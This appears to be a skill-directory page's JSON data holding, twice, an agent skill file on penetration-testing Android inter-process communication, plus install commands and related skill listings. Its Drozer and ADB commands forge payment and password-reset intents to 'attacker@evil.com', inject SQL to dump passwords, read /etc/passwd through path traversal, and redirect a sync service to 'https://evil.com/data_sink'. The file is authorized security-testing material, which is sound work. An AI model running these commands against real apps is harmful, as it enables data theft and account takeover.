[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AG9YGJVJ30HWP0HTQES0GH":3,"skill-same:01M6AG9YGJVJ30HWP0HTQES0GH":136},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":72,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":76,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M6AG9YGJVJ30HWP0HTQES0GH","testing-android-intents-for-vulnerabilities",null,"Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"android","testing android intents for vulnerabilities","vulnerabilities","testing","data","ipc-security","intents","analysis","injection","t1059","t1078","owasp","cybersecurity","mobile-security","communication","assessment","pr","component","components","security","2026-11-10 10:12:30",false,"---\nname: testing-android-intents-for-vulnerabilities\ndescription: 'Tests Android inter-process communication (IPC) through intents for\n  vulnerabilities including intent injection, unauthorized component access, broadcast\n  sniffing, pending intent hijacking, and content provider data leakage. Use when\n  assessing Android app attack surface through exported components, testing intent-based\n  data flows, or evaluating IPC security. Activates for requests involving Android\n  intent security, IPC testing, exported component analysis, or Drozer assessment.\n\n  '\ndomain: cybersecurity\nsubdomain: mobile-security\nauthor: mahipal\ntags:\n- mobile-security\n- android\n- intents\n- ipc-security\n- owasp-mobile\n- penetration-testing\nversion: 1.0.0\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- PR.AA-05\n- ID.RA-01\n- DE.CM-09\nmitre_attack:\n- T1059\n- T1056\n- T1036\n- T1078\n- T1055\n---\n# Testing Android Intents for Vulnerabilities\n\n## When to Use\n\nUse this skill when:\n- Assessing Android app exported activities, services, receivers, and content providers\n- Testing for intent injection and unauthorized component invocation\n- Evaluating broadcast receiver security for sensitive data exposure\n- Performing IPC-focused penetration testing on Android applications\n\n**Do not use** on production devices without explicit authorization.\n\n## Prerequisites\n\n- Rooted Android device or emulator with ADB\n- Drozer agent installed on target device (`drozer agent.apk`)\n- Drozer console on host (`pip install drozer`)\n- Target APK decompiled with apktool for AndroidManifest.xml analysis\n- Frida for runtime intent monitoring\n\n## Workflow\n\n### Step 1: Enumerate Exported Components\n\n```bash\n# Using Drozer\ndrozer console connect\nrun app.package.info -a com.target.app\nrun app.package.attacksurface com.target.app\n\n# Output shows:\n# X activities exported\n# X broadcast receivers exported\n# X content providers exported\n# X services exported\n\n# List exported activities\nrun app.activity.info -a com.target.app\n\n# List exported services\nrun app.service.info -a com.target.app\n\n# List exported receivers\nrun app.broadcast.info -a com.target.app\n\n# List content providers\nrun app.provider.info -a com.target.app\n```\n\n### Step 2: Test Exported Activities\n\n```bash\n# Launch exported activities directly\nrun app.activity.start --component com.target.app com.target.app.AdminActivity\n\n# Launch with intent extras\nrun app.activity.start --component com.target.app com.target.app.ProfileActivity \\\n  --extra string user_id 1337\n\n# Test intent injection via data URI\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"content:\u002F\u002Fcom.target.app\u002Fusers\u002Fadmin\" com.target.app\n\n# If admin activity opens without auth, report as authorization bypass\n```\n\n### Step 3: Test Broadcast Receivers\n\n```bash\n# Send broadcast to exported receivers\nrun app.broadcast.send --action com.target.app.PROCESS_PAYMENT \\\n  --extra string amount \"0.01\" --extra string recipient \"attacker\"\n\n# Sniff broadcasts for sensitive data\nrun app.broadcast.sniff --action com.target.app.USER_LOGIN\n\n# Via ADB\nadb shell am broadcast -a com.target.app.RESET_PASSWORD \\\n  --es email \"attacker@evil.com\"\n```\n\n### Step 4: Test Content Providers\n\n```bash\n# Query content providers for data leakage\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers --projection \"password\"\n\n# Test SQL injection in content providers\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers \\\n  --selection \"1=1) UNION SELECT username,password FROM users--\"\n\n# Test path traversal\nrun app.provider.read content:\u002F\u002Fcom.target.app.provider\u002F..\u002F..\u002Fetc\u002Fpasswd\nrun app.provider.download content:\u002F\u002Fcom.target.app.provider\u002F..\u002Fdatabases\u002Fapp.db \u002Ftmp\u002Fstolen.db\n\n# Find injectable providers\nrun scanner.provider.injection -a com.target.app\nrun scanner.provider.traversal -a com.target.app\n```\n\n### Step 5: Test Pending Intent Vulnerabilities\n\n```javascript\n\u002F\u002F Monitor PendingIntent creation via Frida\nJava.perform(function() {\n    var PendingIntent = Java.use(\"android.app.PendingIntent\");\n\n    PendingIntent.getActivity.overload(\"android.content.Context\", \"int\",\n        \"android.content.Intent\", \"int\").implementation =\n        function(context, requestCode, intent, flags) {\n            console.log(\"[PendingIntent] getActivity:\");\n            console.log(\"  Intent: \" + intent.toString());\n            console.log(\"  Flags: \" + flags);\n\n            \u002F\u002F Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)\n            var FLAG_MUTABLE = 0x02000000;\n            if ((flags & FLAG_MUTABLE) !== 0) {\n                console.log(\"  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver\");\n            }\n            return this.getActivity(context, requestCode, intent, flags);\n        };\n});\n```\n\n### Step 6: Test Service Binding\n\n```bash\n# Attempt to bind to exported services\nrun app.service.start --action com.target.app.SYNC_SERVICE \\\n  --extra string server \"https:\u002F\u002Fevil.com\u002Fdata_sink\"\n\nrun app.service.send com.target.app com.target.app.MessengerService \\\n  --msg 1 0 0 --extra string command \"dump_database\" --bundle-as-obj\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Exported Component** | Android component (activity\u002Fservice\u002Freceiver\u002Fprovider) accessible to other apps on the device |\n| **Intent** | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |\n| **Pending Intent** | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |\n| **Content Provider** | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |\n| **Broadcast Receiver** | Component receiving system or app broadcasts; exported receivers can be triggered by any app |\n\n## Tools & Systems\n\n- **Drozer**: Android security assessment framework for IPC testing with pre-built modules\n- **ADB**: Command-line tool for invoking intents, starting activities, and sending broadcasts\n- **Frida**: Runtime monitoring of intent handling and PendingIntent creation\n- **apktool**: APK decompilation for AndroidManifest.xml analysis of component export status\n- **Intent Fuzzer**: Automated tool for fuzzing intent parameters across exported components\n\n## Common Pitfalls\n\n- **android:exported default changed in API 31**: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.\n- **Permission-protected components**: An exported component may still require a permission. Test with and without the required permission.\n- **Implicit intents vs explicit**: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.\n- **Custom permissions**: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.\n","# Testing Android Intents for Vulnerabilities\n\n## When to Use\n\nUse this skill when:\n- Assessing Android app exported activities, services, receivers, and content providers\n- Testing for intent injection and unauthorized component invocation\n- Evaluating broadcast receiver security for sensitive data exposure\n- Performing IPC-focused penetration testing on Android applications\n\n**Do not use** on production devices without explicit authorization.\n\n## Prerequisites\n\n- Rooted Android device or emulator with ADB\n- Drozer agent installed on target device (`drozer agent.apk`)\n- Drozer console on host (`pip install drozer`)\n- Target APK decompiled with apktool for AndroidManifest.xml analysis\n- Frida for runtime intent monitoring\n\n## Workflow\n\n### Step 1: Enumerate Exported Components\n\n```bash\n# Using Drozer\ndrozer console connect\nrun app.package.info -a com.target.app\nrun app.package.attacksurface com.target.app\n\n# Output shows:\n# X activities exported\n# X broadcast receivers exported\n# X content providers exported\n# X services exported\n\n# List exported activities\nrun app.activity.info -a com.target.app\n\n# List exported services\nrun app.service.info -a com.target.app\n\n# List exported receivers\nrun app.broadcast.info -a com.target.app\n\n# List content providers\nrun app.provider.info -a com.target.app\n```\n\n### Step 2: Test Exported Activities\n\n```bash\n# Launch exported activities directly\nrun app.activity.start --component com.target.app com.target.app.AdminActivity\n\n# Launch with intent extras\nrun app.activity.start --component com.target.app com.target.app.ProfileActivity \\\n  --extra string user_id 1337\n\n# Test intent injection via data URI\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"content:\u002F\u002Fcom.target.app\u002Fusers\u002Fadmin\" com.target.app\n\n# If admin activity opens without auth, report as authorization bypass\n```\n\n### Step 3: Test Broadcast Receivers\n\n```bash\n# Send broadcast to exported receivers\nrun app.broadcast.send --action com.target.app.PROCESS_PAYMENT \\\n  --extra string amount \"0.01\" --extra string recipient \"attacker\"\n\n# Sniff broadcasts for sensitive data\nrun app.broadcast.sniff --action com.target.app.USER_LOGIN\n\n# Via ADB\nadb shell am broadcast -a com.target.app.RESET_PASSWORD \\\n  --es email \"attacker@evil.com\"\n```\n\n### Step 4: Test Content Providers\n\n```bash\n# Query content providers for data leakage\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers --projection \"password\"\n\n# Test SQL injection in content providers\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers \\\n  --selection \"1=1) UNION SELECT username,password FROM users--\"\n\n# Test path traversal\nrun app.provider.read content:\u002F\u002Fcom.target.app.provider\u002F..\u002F..\u002Fetc\u002Fpasswd\nrun app.provider.download content:\u002F\u002Fcom.target.app.provider\u002F..\u002Fdatabases\u002Fapp.db \u002Ftmp\u002Fstolen.db\n\n# Find injectable providers\nrun scanner.provider.injection -a com.target.app\nrun scanner.provider.traversal -a com.target.app\n```\n\n### Step 5: Test Pending Intent Vulnerabilities\n\n```javascript\n\u002F\u002F Monitor PendingIntent creation via Frida\nJava.perform(function() {\n    var PendingIntent = Java.use(\"android.app.PendingIntent\");\n\n    PendingIntent.getActivity.overload(\"android.content.Context\", \"int\",\n        \"android.content.Intent\", \"int\").implementation =\n        function(context, requestCode, intent, flags) {\n            console.log(\"[PendingIntent] getActivity:\");\n            console.log(\"  Intent: \" + intent.toString());\n            console.log(\"  Flags: \" + flags);\n\n            \u002F\u002F Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)\n            var FLAG_MUTABLE = 0x02000000;\n            if ((flags & FLAG_MUTABLE) !== 0) {\n                console.log(\"  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver\");\n            }\n            return this.getActivity(context, requestCode, intent, flags);\n        };\n});\n```\n\n### Step 6: Test Service Binding\n\n```bash\n# Attempt to bind to exported services\nrun app.service.start --action com.target.app.SYNC_SERVICE \\\n  --extra string server \"https:\u002F\u002Fevil.com\u002Fdata_sink\"\n\nrun app.service.send com.target.app com.target.app.MessengerService \\\n  --msg 1 0 0 --extra string command \"dump_database\" --bundle-as-obj\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Exported Component** | Android component (activity\u002Fservice\u002Freceiver\u002Fprovider) accessible to other apps on the device |\n| **Intent** | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |\n| **Pending Intent** | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |\n| **Content Provider** | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |\n| **Broadcast Receiver** | Component receiving system or app broadcasts; exported receivers can be triggered by any app |\n\n## Tools & Systems\n\n- **Drozer**: Android security assessment framework for IPC testing with pre-built modules\n- **ADB**: Command-line tool for invoking intents, starting activities, and sending broadcasts\n- **Frida**: Runtime monitoring of intent handling and PendingIntent creation\n- **apktool**: APK decompilation for AndroidManifest.xml analysis of component export status\n- **Intent Fuzzer**: Automated tool for fuzzing intent parameters across exported components\n\n## Common Pitfalls\n\n- **android:exported default changed in API 31**: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.\n- **Permission-protected components**: An exported component may still require a permission. Test with and without the required permission.\n- **Implicit intents vs explicit**: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.\n- **Custom permissions**: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.\n",{"name":5,"tags":52,"author":55,"domain":39,"license":15,"version":56,"nist_csf":57,"subdomain":40,"description":62,"mitre_attack":63},[40,27,33,32,53,54],"owasp-mobile","penetration-testing","mahipal","1.0.0",[58,59,60,61],"PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09","Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.\n",[64,65,66,67,68],"T1059","T1056","T1036","T1078","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-android-intents-for-vulnerabilities",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-android-intents-for-vulnerabilities",{"tool":85,"command":86},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-android-intents-for-vulnerabilities",{"tool":88,"command":89},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-android-intents-for-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002FSKILL.md",true,[93,99,105,110,114,118,122,126,132],{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"agents\u002Fopenai.yaml","REFERENCE","参考文档",320,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fwan-weigang-modern-thinking-tools-100\u002Fagents\u002Fopenai.yaml",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"assets\u002Ftemplate.md","ASSET","资产文件",768,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Fassets\u002Ftemplate.md",{"path":106,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002FLICENSE",{"path":111,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":112,"sourceHtmlUrl":113},"references\u002Fapi-reference.md",1833,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":115,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":116,"sourceHtmlUrl":117},"references\u002Ffull-course.md",185794,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fwan-weigang-modern-thinking-tools-100\u002Freferences\u002Ffull-course.md",{"path":119,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":120,"sourceHtmlUrl":121},"references\u002Fstandards.md",1022,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Freferences\u002Fstandards.md",{"path":123,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":124,"sourceHtmlUrl":125},"references\u002Fworkflows.md",992,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Freferences\u002Fworkflows.md",{"path":127,"resourceType":128,"resourceTypeDesc":129,"sizeBytes":130,"sourceHtmlUrl":131},"scripts\u002Fagent.py","SCRIPT","脚本",6810,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Fscripts\u002Fagent.py",{"path":133,"resourceType":128,"resourceTypeDesc":129,"sizeBytes":134,"sourceHtmlUrl":135},"scripts\u002Fprocess.py",7619,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Fscripts\u002Fprocess.py",[137,162,186,210,235,261],{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":144,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[143],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[145,146,147,148,46,39,149,150,43,151,152,153,154,155,156,157,158,159,160,161],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":169,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[168],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[170,158,171,172,46,173,39,43,174,175,176,177,178,179,180,181,182,183,184,185],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":194,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[192,193],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[180,195,196,197,30,39,198,199,174,200,201,202,203,204,205,37,206,207,208,209],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":211,"name":212,"nameZh":6,"description":213,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":214,"categories":215,"keywords":217,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[216],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[218,219,220,39,221,222,223,224,225,226,227,31,228,229,230,231,177,232,233,234],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":236,"name":237,"nameZh":6,"description":238,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":239,"categories":240,"keywords":242,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[241],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[29,243,244,39,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":262,"name":263,"nameZh":6,"description":264,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":265,"categories":266,"keywords":268,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[267],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,269,39,270,271,272,273,274,275,276,277,37,278,206,34,279,280,281,282,283],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]